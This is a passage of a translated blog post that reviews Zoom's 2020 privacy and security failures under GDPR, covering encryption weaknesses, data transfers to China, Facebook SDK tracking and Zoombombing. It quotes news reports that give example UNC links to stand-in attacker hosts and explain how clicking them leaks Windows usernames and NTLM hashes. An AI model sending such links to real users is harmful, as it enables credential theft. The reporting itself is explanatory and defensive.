and&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/ericsyuan/status/1244682869974290433&amp;usg=ALkJrhhCE2HKENibcfSYKh1Zs_schKLqXA\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>&nbsp;, Eric S. Yuan, chief executive and founder of Zoom, posted a link on Twitter to a company blog item about the policy.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NYTimes</a></em></li><li><em>In a statement for this article, the company said it took “its users\' privacy, security and trust extremely seriously,” and had been “working around the clock to ensure that hospitals, universities, schools and other businesses across the world can stay connected and operational. ”</em></li><li><em>“We appreciate the New York attorney general\'s engagement on these issues and are happy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom&nbsp;<strong>privacy notice</strong>&nbsp;grants access to data even though for people who have not a Zoom account</em></li><li><em>Zoom\'s privacy policy gives the company rights to collect personal data of people regardless of whether they have a Zoom account.&nbsp;This data they might collect on non-Zoom customers might include their physical address, debit card information and even what device they are using.</em></li><li><em>They keep the right to collect and share information with unspecified third parties in present and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design or Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom has few protective safeguards, but they are disabled by default.&nbsp;No processing must be carried out without transparency or consent expressed by positive act of the subjects concerned.&nbsp;In this case it is not very clear when a recording is made or enable subsequent uses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The application included an&nbsp;<em><a href=\"https://www.vice.com/en_us/article/qjdnmm/working-from-home-zoom-tells-your-boss-if-youre-not-paying-attention\">attention tracking</a></em>&nbsp;option&nbsp;which enabled the host to draw the attention of participants if they visited other sites or switched to other windows.&nbsp;This overly intrusive option has been disabled.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, a privacy notice should clarify the consent required from participants.&nbsp;It is not activated by default, knowing that biometric, health or data belonging to minors are special categories requiring express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small&nbsp;<strong>red button when recording</strong>&nbsp;- can be easily missed.&nbsp;There is an option of request recording consent at the beginning - what about the ones joining in in the course of the meeting?&nbsp;The consent request is OFF by default.&nbsp;<strong>Privacy by design</strong>&nbsp;: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Security obligation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limit access to data to secure content and paramount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence&nbsp;of&nbsp;end&nbsp;to&nbsp;end&nbsp;encryption&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The encryption of communications or encryption was part of Zoom\'s promises but was found to be encryption of the TLS browser type and not UDP as revealed by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a><em>&nbsp;.</em>&nbsp;Zoom apologized and acknowledged the failure. However, end-to-end encryption is mandatory to ensure data protection, especially as it can be of a special category.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, it turns out that the data would be stored on Amazon S3 in clear text and would not even be encrypted.&nbsp;Consequently, any Zoom employee or developer having access to S3 compartments for development and maintenance activities could intercept them and take them over for such possible processing.&nbsp;There is therefore no real confidentiality on these recordings.&nbsp;This problem is far from negligible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only barrier between private and public registration is the security of the Zoom firewall and the other things they have in place.&nbsp;Once these have been breached, for example by a phishing attack, the S3 buckets are a fair game.&nbsp;A decent encryption system on the stored records would have been essential here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings.&nbsp;Zoom video meetings use a combination of TCP and UDP.&nbsp;TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection. ”</em></li><li><em>On 4/3, Citizen Lab&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/&amp;usg=ALkJrhhj-xFkzL6wWLEyhE9l5tQs4KtiSQ\">reported</a></em></li><li><em>Zoom&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf&amp;usg=ALkJrhjRuNn2NyO5UW6XvkdjGs6nddVezw\">documentation</a>&nbsp;&nbsp;claims that the app uses “AES-256” encryption for meetings where possible.&nbsp;However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video.&nbsp;The use of ECB mode is not recommended because patterns present in the complaintxt are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">Reported by the Security expert Schneier in his blog</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/&amp;usg=ALkJrhhXJmIB4Ly6Kngg7C516Jfs9a7tsA\">Does Zoom uses end to end encryption?</a></em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation?&nbsp;Once again, Eu personal data is in between China interception and the US Cloud Act interception.&nbsp;Data sent outside the EU in China without users knowledge.&nbsp;“As&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a&amp;usg=ALkJrhgaDkE_hlcUSP7YJqi06wRCEjhC7g\">Citizen Lab</a>&nbsp;hadn\'t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn\'t have been aware of the findings.&nbsp;But Yuan assured that if user data was being transferred to China when users weren\'t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We\'ve even learnt that Zoom would transfer data for encryption in China, which the CEO did not fail to recognise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/&amp;usg=ALkJrhihFJikKTlR7PipcATumdXwiVt5iw\">Zoom\'s Encryption Is “Not Suited For Secrets” And Has Surprising Links To China, Researchers Discover</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The outrages go further, April 1 news has fallen, Zoom would take over the passwords saved by Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/1, we learned that Zoom for Windows can be used to&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/&amp;usg=ALkJrhjX5199lL8vGczS9pa11BABF_qpdQ\">steal</a>&nbsp;&nbsp;users\' Window credentials.</em></li><li><em>Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they\'re using.&nbsp;The Zoom app for Windows automatically converts these so-called&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.lifewire.com/unc-universal-naming-convention-818230&amp;usg=ALkJrhhKEUUU1tcfso1zMP4yBzUhZIhFIg\">universal naming convention</a>&nbsp;&nbsp;strings - such as \\\\ attacker.example.com/C$ - into clickable links.&nbsp;In the event that targets click on those links on networks that aren\'t fully locked down, Zoom will send the Windows usernames and the corresponding&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers&amp;usg=ALkJrhhTkh_RXrXKpS9uiPZAwvs0q3ICJg\">NTLM</a>&nbsp;&nbsp;hashes to the address contained in the link</em>&nbsp;.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On April 2 we learned that Zoom would access personal data extracted from users\' Linkedin profiles:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html&amp;usg=ALkJrhgBR4-SVDPjo0aBd9tZp9zmVycoew\">secretly displayed</a>&nbsp;&nbsp;data from people\'s LinkedIn profiles, which allowed some meeting participants to snoop on each other.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/&amp;usg=ALkJrhg5ZnpDG7iIxhk7m_WpPfUa8aMFCQ\">Every Zoom Security and Privacy Flaw So Far, and What You Can Do to Protect Yourself</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Very quickly came the news of intruders inviting themselves in the middle of meetings, intrusion qualified as \'ZoomBombing\':</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://mashable.com/article/videoconference-crashed-naked-man-privacy/%3Feurope%3Dtrue&amp;usg=ALkJrhjR6Sw90cPUEDuhJeqBhRkaDdJXWQ\">Naked man crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content&amp;usg=ALkJrhiMnWp2LT-piu8zsdPBxKS-Z_lapQ#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals spewing racist, misogynistic or vulgar content.&nbsp;Experts say professors using Zoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/03/17/zoombombing/&amp;usg=ALkJrhhOYYrun5JfIFQJvOqvQAyTR7tf1w\">Suddenly, dozens of attendees were bombarded with disturbing imagery.&nbsp;A troll entered the call and screenshared Two Girls, One Cup and other horrifying sexual videos.&nbsp;Attempts to block the attack were thwarted as the perpetrator simply re-entered the call</a></em></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-commn-privacy-senate/u-s-senate-tells-members-to-avoid-zoom-over-data-security-concerns-ft-idUSKCN21R0VU\">U.S. Senate tells members to avoid Zoom over data security concerns: FT</a></li><li><a href=\"https://twitter.com/OpenRightsGroup/status/1251185825292959746?s=20\">An Open Rights Group Zoom meeting was disturbed by child pedo pornographic images</a>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Another problem possibly solved by Zoom, data sharing with Facebook using the SDK denounced by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">Motherboard</a>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\" target=\"_blank\" rel=\"noreferrer noopener\">article on the news site Motherboard</a>&nbsp;&nbsp;reported that software inside the Zoom iPhone app was sending user data to Facebook, the company said it was&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook&amp;usg=ALkJrhiBjKxqHJbRNsUzNiBzSnjKGu_eIQ\" target=\"_blank\" rel=\"noreferrer noopener\">removing the tracking software</a>&nbsp;.</em></li><li><em>Zoom, like other apps, uses&nbsp;<strong>Facebook \'</strong>&nbsp;s software development kits (SDK) to implement features quickly.&nbsp;In exchange, Facebook gains useful information about users.&nbsp;As Vice\'s Motherboard explains, Zoom connects to Facebook\'s Graph API, which is the way developers get data in or out of Facebook.</em></li><li><em>The Zoom app notifies Facebook when the user opens the app, details on the user\'s device such as the model, the time zone and city they are connecting from, which phone carrier they are using, and a unique advertiser identifier created by the user\'s device which companies can use to target a user with advertisements.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom has modified this flaw, inviting users to update their Application:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn&amp;usg=ALkJrhhj0kU0EpB7XEcY6hsO35ungrFIVw\">Zoom Removes Its Facebook Data Sharing on iOS amid Possible GDPR Violations</a></em></li><li><em>Zoom has removed its&nbsp;<strong>Facebook SDK</strong>&nbsp;for iOS integration after a report&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">from Motherboard</a>&nbsp;.</em></li><li><em>the developers&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/&amp;usg=ALkJrhjbWj_636LN_e_zuHG0c3wlkC21zQ\">&nbsp;in a statement</a>&nbsp;.&nbsp;“Users will need to update to the latest version of our application that\'s already available at 2:30 pm Pacific time on Friday, March 27, 2020, in order for these changes to take hold, and we strongly encourage them to do so.&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">Electronic Frountier Foundation</a>&nbsp;alerts that users still don\'t know how to erase the information collected</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any information that was gathered about their device.&nbsp;This removal also doesn\'t address any of the app\'s other potential privacy issues.&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">The EFF points out</a>&nbsp;&nbsp;that Zoom administrators can get detailed information about how, when, and where users are using the app, with real-time dashboards.&nbsp;As it\'s an intentional feature, it\'s unlikely the companywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We read in&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">Forbes</a>&nbsp;magazine&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/&amp;usg=ALkJrhgAsLg-I6QHTw_QR_dU9HAvq-XGlA\">:</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>\'&nbsp;<em>Ultimately, anyone having sensitive conversations should therefore consider whether Zoom is suitable, he noted.&nbsp;“I would think very carefully before I used Zoom to communicate classified information, trade secrets or confidential medical data,” Marczak said.&nbsp;“If you are a human rights defender, lawyer, journalist, or anyone else working on sensitive topics that you think a nation-state or other powerful adversary might be interested in, I would advise you to wait for Zoom to make security improvements in their app before you use it. ”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple has introduced an update to remove the \'&nbsp;<em>hidden Zoom web server\'</em>&nbsp;&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/&amp;usg=ALkJrhh25eSEylS1aNG_bR0JHeT-AQvq1w\">Thousands of Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/techcrunch.com/2019/07/10/apple-silent-update-zoom-app&amp;usg=ALkJrhgJXQe1DB8UBuAzLhxtOz4kyjX_OQ\">Apple has pushed a silent Mac update to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/&amp;usg=ALkJrhhVSdjQlTBa4Dpxv3xYtX0YEeYCTw\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;&nbsp;people\'s Windows local login usernames and hashed passwords via Zoom by getting them to click on a URL in a chat message that connects to a malicious SMB file server.&nbsp;A link such as&nbsp;&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked on, cause Windows to connect to&nbsp;&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in user\'s credentials in hope of fetching&nbsp;&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em></li><li><em>Ex-NSA hacker drops new zero-day doom for Zoom.&nbsp;Hot on the heels of two security researchers&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/hackerfantastic/status/1245133371262619654&amp;usg=ALkJrhg_sX26m-Ods_n0syl9vFWdImTrQQ\">finding a Zoom bug</a>&nbsp;that can be abused to steal Windows passwords, another security researcher found two new bugs that can be used to take over a Zoom user\'s Mac, including tapping into the webcam and microphone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle security researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://objective-see.com/blog/blog_0x56.html&amp;usg=ALkJrhgPyuX417n0g_qzW0D-8OBVqtOhdg\">on his blog</a>&nbsp;&nbsp;Wednesday, which he shared&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/04/01/zoom-doom/&amp;usg=ALkJrhiyMa3kJZnAv6KNqNKPciU7FuYhUg\">with TechCrunch</a>&nbsp;.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Obviously with the galloping success of Zoom, we see a rookie of \'&nbsp;<em>fake Zooms\'</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">Researchers see sharp rise in fake Zoom domains as hackers target remote workers&nbsp;</a></em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/&amp;usg=ALkJrhhdfcDUuXdUHkuByLOxeaRLuNSLuw\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfer of personal data outside the EU / EEA</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom is a California-based company.&nbsp;As such, he is self certified Privacy Shield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a>&nbsp;has revealed the transfer of data to China.&nbsp;The CEO acknowledged this fact attributing it to a simple referral error.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No one can ignore the war of industrial espionage.&nbsp;Zoom, like any American company is subject to the US Cloud Act.&nbsp;In other words at any time the data can be claimed by the US government.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny&amp;usg=ALkJrhiGD1pXHKHX5dQbKVkM_HpYbRbB0Q\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus Crisis, Zoom\'s R&amp;D Presence In China Under Scrutiny</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach or unauthorised access to data</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any unauthorised access to personal data must be assessed as to the seriousness of the potential consequences for the individuals concerned.&nbsp;In the event of a serious risk, they must be notified as soon as possible and no later than&nbsp;<strong>within 72 hours</strong>&nbsp;.&nbsp;The data protection authority must be notified within 72 hours at the latest.&nbsp;In all cases the data breach must be listed in the internal register in accordance with the provisions of&nbsp;<span><b> <a href=\"https://gdpr-info.eu/art-33-gdpr/\">Article&nbsp;33</a></b></span>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting&nbsp;<strong>screen shots</strong>&nbsp;of videoconference revealing the ID number of the meeting and the images of the participants accompanied by their names or pseudonyms can be considered as a breach of confidentiality,</li><li><strong>2</strong>&nbsp;major recent&nbsp;<strong>examples</strong>&nbsp;:&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Boris Johnson</a>&nbsp;CNB posting a board meeting or their GA.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The specific case of the use of such a tool by lawyers or professional associations</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context where so many cries of alarms were launched about the failures of this tool, as the New York Attorney General investigations asking the schools not to use the application, followed by other state authorities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NY Attorney General to look at Zoom</a>&nbsp;&nbsp;:</em></li><li><em><a 